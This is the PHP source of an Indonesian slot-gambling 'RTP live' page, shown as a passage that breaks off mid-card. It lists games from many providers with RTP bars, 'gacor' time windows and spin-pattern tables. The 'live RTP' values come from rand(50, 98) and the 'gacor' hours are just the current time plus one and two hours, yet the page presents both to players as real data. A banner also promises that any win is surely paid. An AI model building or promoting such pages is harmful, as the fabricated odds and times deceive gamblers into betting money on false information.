<?php
include "admin/koneksi.php";

// Ambil data dari database
$id = '1';
$qry_hadiah = mysqli_query($koneksi, "SELECT * FROM atur_situs WHERE id='$id'") or die("Query Error: " . mysqli_error($koneksi));
$dt_bank = mysqli_fetch_array($qry_hadiah);

// Data situs
$nama_situs = $dt_bank['nama_situs'] ?? '';
$title_situs = $dt_bank['title_situs'] ?? '';
$meta_deskripsi = $dt_bank['meta_deskripsi'] ?? '';
$logo = $dt_bank['logo'] ?? '';
$favicon = $dt_bank['favicon'] ?? '';
$background_situs_choice = $dt_bank['background_situs_choice'] ?? '';
$background_situs = $dt_bank['background_situs'] ?? '';
$slider_banner = $dt_bank['slider_banner'] ?? '';
$link_daftar = $dt_bank['link_daftar'] ?? '';
$link_login = $dt_bank['link_login'] ?? '';
$link_klaim = $dt_bank['link_klaim'] ?? '';
$root_color = $dt_bank['root_color'] ?? '';
$theme_color = $dt_bank['theme_color'] ?? 'dark'; // Default ke dark jika tidak ada
?>
<!DOCTYPE html>
<html lang="id">

<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title><?php echo $title_situs; ?></title>
   <meta name="title" content="<?php echo $title_situs; ?>">
   <meta name="description" content="<?php echo $meta_deskripsi; ?>">
   <link rel="shortcut icon" href="img/<?php echo $favicon; ?>" type="image/x-icon">
   <link rel="canonical" href="/">
   <link rel="stylesheet" href="css/rtp-<?php echo $theme_color; ?>.css">
</head>

<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap" rel="stylesheet">
<style>
   .warning-text {
      color: red;
      font-weight: bold;
      text-align: center;
      margin-top: 10px;
   }

   .info-text {
      font-size: 14px;
      margin-top: 10px;
   }

   .progress-bar-container {
      width: 100%;
      height: 20px;
      background-color: #ddd;
      border-radius: 10px;
      overflow: hidden;
      margin-top: 10px;
   }

   .progress-bar {
      height: 100%;
      text-align: center;
      color: white;
      font-weight: bold;
      line-height: 20px;
   }

   .artikel {
      font-family: 'Roboto', sans-serif;
      max-width: 1000px;
      margin: 50px auto;
      padding: 20px 30px;
      border-radius: 10px;
   }

   .artikel h1 {
      color: #fff;
      font-size: 26px;
      margin-bottom: 20px;
      font-weight: 700;
   }

   .artikel p {
      margin-bottom: 15px;
      color: #444;
      font-size: 16px;
   }

   .artikel a {
      color: #1a73e8;
      text-decoration: none;
   }

   .artikel a:hover {
      text-decoration: underline;
   }

   .artikel strong {
      font-weight: bold;
   }

   .custom-carousel {
      position: relative;
      width: 100%;
      max-width: 100%;
      overflow: hidden;
      margin-bottom: 20px;
   }

   .carousel-track {
      display: flex;
      transition: transform 0.5s ease-in-out;
   }

   .carousel-slide {
      min-width: 100%;
      box-sizing: border-box;
   }

   .carousel-slide img {
      width: 100%;
      height: auto;
      display: block;
   }

   .carousel-btn {
      position: absolute;
      top: 50%;
      transform: translateY(-50%);
      background: rgba(0, 0, 0, 0.5);
      color: white;
      border: none;
      padding: 10px 15px;
      cursor: pointer;
      z-index: 10;
   }

   .carousel-btn.prev {
      left: 10px;
   }

   .carousel-btn.next {
      right: 10px;
   }

   .carousel-btn:hover {
      background: rgba(0, 0, 0, 0.8);
   }

   .carousel-dots {
      text-align: center;
      margin-top: 10px;
      position: absolute;
      bottom: 15px;
      width: 100%;
      z-index: 10;
   }

   .carousel-dot {
      display: inline-block;
      height: 12px;
      width: 12px;
      margin: 0 5px;
      background-color: #ccc;
      border-radius: 50%;
      cursor: pointer;
      transition: background-color 0.3s ease;
   }

   .carousel-dot.active {
      background-color: #333;
   }
</style>
</head>

<body>
   <div class="header">
      <div class="logo-container">
         <img src="img/<?php echo $logo; ?>" alt="Logo" class="logo">
         <div class="rtp-update">
            <p id="rtp-update-date"></p>
            <p id="rtp-countdown"></p>
         </div>
      </div>
      <div class="custom-carousel">
         <div class="carousel-track">
            <?php
            include 'admin/koneksi.php';
            $query = mysqli_query($koneksi, "SELECT * FROM slider_banner ORDER BY id ASC");
            $dots = ''; // kita simpan dots dalam string
            
            $index = 0;
            while ($row = mysqli_fetch_assoc($query)) {
               $gambar = str_replace('../images', 'images', $row['gambar']);
               $alt = htmlspecialchars($row['alt_text']);
               echo '
        <div class="carousel-slide">
          <a href="' . $link_daftar . '" target="_blank">
            <img src="' . $gambar . '" alt="' . $alt . '">
          </a>
        </div>';

               // tambahkan dot
               $dots .= '<span class="carousel-dot" data-index="' . $index . '"></span>';
               $index++;
            }
            ?>
         </div>

         <!-- Tombol navigasi -->
         <button class="carousel-btn prev">&#10094;</button>
         <button class="carousel-btn next">&#10095;</button>

         <!-- Dots -->
         <div class="carousel-dots">
            <?= $dots ?>
         </div>
      </div>

      <div class="buttons">
         <a href="<?php echo $link_daftar; ?>" rel="nofollow" class="masuk">MASUK</a>
         <a href="<?php echo $link_daftar; ?>" rel="nofollow" class="daftar">DAFTAR</a>
      </div>
      <div class="search">
         <input type="text" id="search" placeholder="Cari game..." onkeyup="searchGame()">
         <button onclick="searchGame()">Cari</button>
      </div>
   </div>
   <div class="nav-wrapper">
      <div class="nav-container">
         <a href="pragmatic_play.php" class="nav-menu">PRAGMATIC PLAY</a>

         <a href="pg_soft.php" class="nav-menu">PG SOFT</a>

         <a href="microgaming.php" class="nav-menu">MICROGAMING</a>
         <a href="top_trend.php" class="nav-menu">TOP TREND GAME</a>
         <a href="habanero.php" class="nav-menu">HABANERO</a>
         <a href="spadegaming.php" class="nav-menu">SPADEGAMING</a>
         <a href="playstar.php" class="nav-menu">PLAYSTAR</a>
         <a href="spinroyal.php" class="nav-menu">SPIN ROYAL</a>
         <a href="fatpanda.php" class="nav-menu">FAT PANDA</a>
         <a href="cq9.php" class="nav-menu">CQ9</a>
         <a href="playtech.php" class="nav-menu">PLAYTECH</a>
         <a href="fastspin.php" class="nav-menu">FastSpin</a>
         <a href="bng.php" class="nav-menu">BNG</a>
         <a href="nolimit_city.php" class="nav-menu">NOLIMIT CITY</a>
         <a href="joker.php" class="nav-menu">JOKER</a>
         <a href="ogslot.php" class="nav-menu">OGSLOT</a>
         <a href="clotplay.php" class="nav-menu">CLOTPLAY</a>
         <a href="5games.php" class="nav-menu">5G GAMES</a>
         <a href="nine.php" class="nav-menu">NINES GAMES</a>
         <a href="vpower.php" class="nav-menu">VPOWER</a>
         <a href="aigaming.php" class="nav-menu">AIGAMING</a>
         <a href="rich88.php" class="nav-menu">RICH88</a>
         <a href="live22.php" class="nav-menu">LIVE22</a>
         <a href="evoplay.php" class="nav-menu">EVOPLAY</a>
         <a href="hacksaw.php" class="nav-menu">HACKSAW</a>
         <a href="onegame.php" class="nav-menu">ONEGAME</a>
         <a href="lgd.php" class="nav-menu">LGD</a>
         <a href="besoft.php" class="nav-menu">BESOFT</a>
         <a href="ameba.php" class="nav-menu">AMEBA</a>
         <a href="bigpot.php" class="nav-menu">BIGPOT</a>
      </div>


   </div>
   <div class="header-container">
      <div class="running-text">
         <marquee behavior="scroll" direction="left">
            <?php echo $title_situs; ?> Situs Judi Slot Gacor Hari Ini Dengan Fitur RTP LIVE Terbaru dan Terlengkap
            Dengan Simulasi Kemenangan Nyata Menang Berapapun Pasti Dibayar !
         </marquee>
      </div>
      <div class="filter-container">
         <label for="filter-select">Tampilkan: </label>
         <select id="filter-select" onchange="filterGames()">
            <option value="all">Semua</option>
            <option value="80plus">RTP 80%+</option>
         </select>
      </div>
   </div>
   <div class="container" id="game-list">
      <?php
      include "admin/koneksi.php";

      // Ambil data dari tabel list_game dengan provider = 1
      $query = mysqli_query($koneksi, "SELECT * FROM list_game WHERE provider = 11 ORDER BY id DESC");

      while ($row = mysqli_fetch_assoc($query)) {
         $id = $row['id'];
         $gambar = str_replace("../img/", "img/", $row['gambar']); // Hapus "../"
         $keterangan = $row['keterangan'];
         $rtp = rand(50, 98); // Simulasi RTP antara 50% - 98%
         $gacor_time = date("H:i", strtotime("+1 hour")) . " WIB - " . date("H:i", strtotime("+2 hour")) . " WIB"; // Simulasi jam gacor
         ?>
         <div class="game-card">
            <img src="<?php echo $gambar; ?>" alt="<?php echo $keterangan; ?>">
            <div class="game-title"><?php echo $keterangan; ?></div>
            <div class="progress-bar-container">
               <div class="progress-bar green" id="rtp-bar-<?php echo $id; ?>" style="width: <?php echo $rtp; ?>%;"></div>
               <div class="progress-bar-text" id="rtp-text-<?php echo $id; ?>"><?php echo $rtp; ?>%</div>
            </div>
            <button class="simulasi-button" onclick="openSimulasiPopup(<?php echo $id; ?>)">Simulasi Kemenangan</button>
            <div class="game-info">
               <p><span class="gacor-time" id="gacor-time-<?php echo $id; ?>"><?php echo $gacor_time; ?></span></p>
               <div class="pola-slot" id="pola-slot-<?php echo $id; ?>">
                  <table class="pola-slot-table">
                     <tbody>
                        <tr>
                           <td>Auto 70</td>
                           <td class="pola-result"><span class="fail"></span></td>
                           <td class="pola-result"><span class="success"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                        </tr>
                        <tr>
                           <td>Auto 70</td>
                           <td class="pola-result"><span class="fail"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                        </tr>
                        <tr>
                           <td>Auto 70</td>
                           <td class="pola-result"><span class="success"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                           <td class="pola-result"><span class="fail"></span></td>
                        </tr>
                     </tbody>
                  </table>
               </div>
            </div>
            <div id="popup-<?php echo $id; ?>" class="popup">
               <div class="popup-container">
                  <div class="popup-content">
                     <span class="close" onclick="closeSimulasiPopup(<?php echo $id; ?>)">×</span>
                     <h2>Simulasi Kemenangan</h2>
                     <label for="bet-input">Bet:</label>
                     <input type="number" id="bet-input-<?php echo $id; ?>" placeholder="Masukkan bet..."><br>
                     <label for="modal-input">Modal:</label>
                     <input type="number" id="modal-input-<?php echo $id; ?>" placeholder="Masukkan modal..."><br><br>
                     <button onclick="runSimulasi(<?php echo $id; ?>)">Simulasikan</button>
                     <div id="simulasi-result-<?php echo $id; ?>" class="simulasi-result"></div>
                  </div>
               </div>
            </div>
         </div>
         <?php
      }
      ?>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00156.png" alt="For The Horde">
         <div class="game-title">For The Horde</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-0" style="width: 93%;"></div>
            <div class="progress-bar-text" id="rtp-text-0">93%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(0)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-0">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-0">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 43</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 45</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-0" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(0)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-0" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-0" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(0)">Simulasikan</button>
                  <div id="simulasi-result-0" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00155.png" alt="Pyramid Of Flames">
         <div class="game-title">Pyramid Of Flames</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-1" style="width: 27%;"></div>
            <div class="progress-bar-text" id="rtp-text-1">27%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(1)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-1">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-1">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 34</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 26</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-1" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(1)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-1" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-1" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(1)">Simulasikan</button>
                  <div id="simulasi-result-1" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00151.png" alt="Athena - Lucky Spread">
         <div class="game-title">Athena - Lucky Spread</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-2" style="width: 13%;"></div>
            <div class="progress-bar-text" id="rtp-text-2">13%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(2)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-2">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-2">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-2" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(2)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-2" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-2" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(2)">Simulasikan</button>
                  <div id="simulasi-result-2" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00152.png" alt="Caishen Daddy">
         <div class="game-title">Caishen Daddy</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-3" style="width: 76%;"></div>
            <div class="progress-bar-text" id="rtp-text-3">76%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(3)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-3">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-3">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-3" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(3)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-3" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-3" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(3)">Simulasikan</button>
                  <div id="simulasi-result-3" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00153.png" alt="Mystic Legend">
         <div class="game-title">Mystic Legend</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-4" style="width: 18%;"></div>
            <div class="progress-bar-text" id="rtp-text-4">18%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(4)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-4">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-4">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-4" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(4)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-4" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-4" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(4)">Simulasikan</button>
                  <div id="simulasi-result-4" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00154.png" alt="Super Lucky">
         <div class="game-title">Super Lucky</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-5" style="width: 66%;"></div>
            <div class="progress-bar-text" id="rtp-text-5">66%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(5)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-5">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-5">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 37</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-5" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(5)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-5" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-5" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(5)">Simulasikan</button>
                  <div id="simulasi-result-5" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00150.png" alt="Caishen-lucky Spread">
         <div class="game-title">Caishen-lucky Spread</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-6" style="width: 68%;"></div>
            <div class="progress-bar-text" id="rtp-text-6">68%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(6)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-6">23:28 WIB - 00:28 WIB</span></p>
            <div class="pola-slot" id="pola-slot-6">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 28</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 24</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-6" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(6)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-6" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-6" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(6)">Simulasikan</button>
                  <div id="simulasi-result-6" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00149.png" alt="Lucky Ace">
         <div class="game-title">Lucky Ace</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-7" style="width: 64%;"></div>
            <div class="progress-bar-text" id="rtp-text-7">64%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(7)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-7">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-7">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-7" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(7)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-7" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-7" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(7)">Simulasikan</button>
                  <div id="simulasi-result-7" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00148.png" alt="Sugar Boom">
         <div class="game-title">Sugar Boom</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-8" style="width: 20%;"></div>
            <div class="progress-bar-text" id="rtp-text-8">20%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(8)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-8">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-8">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-8" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(8)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-8" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-8" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(8)">Simulasikan</button>
                  <div id="simulasi-result-8" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00019.png" alt="The Empire">
         <div class="game-title">The Empire</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-9" style="width: 95%;"></div>
            <div class="progress-bar-text" id="rtp-text-9">95%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(9)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-9">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-9">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 47</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-9" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(9)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-9" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-9" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(9)">Simulasikan</button>
                  <div id="simulasi-result-9" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00024.png" alt="Fa Fa Monkey">
         <div class="game-title">Fa Fa Monkey</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-10" style="width: 22%;"></div>
            <div class="progress-bar-text" id="rtp-text-10">22%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(10)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-10">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-10">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-10" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(10)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-10" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-10" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(10)">Simulasikan</button>
                  <div id="simulasi-result-10" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00025.png" alt="777">
         <div class="game-title">777</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-11" style="width: 80%;"></div>
            <div class="progress-bar-text" id="rtp-text-11">80%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(11)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-11">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-11">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 38</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 49</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 6</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-11" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(11)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-11" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-11" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(11)">Simulasikan</button>
                  <div id="simulasi-result-11" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00026.png" alt="Double Happiness">
         <div class="game-title">Double Happiness</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-12" style="width: 5%;"></div>
            <div class="progress-bar-text" id="rtp-text-12">5%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(12)">Simulasi Kemenangan</button>
         <div class="game-info">
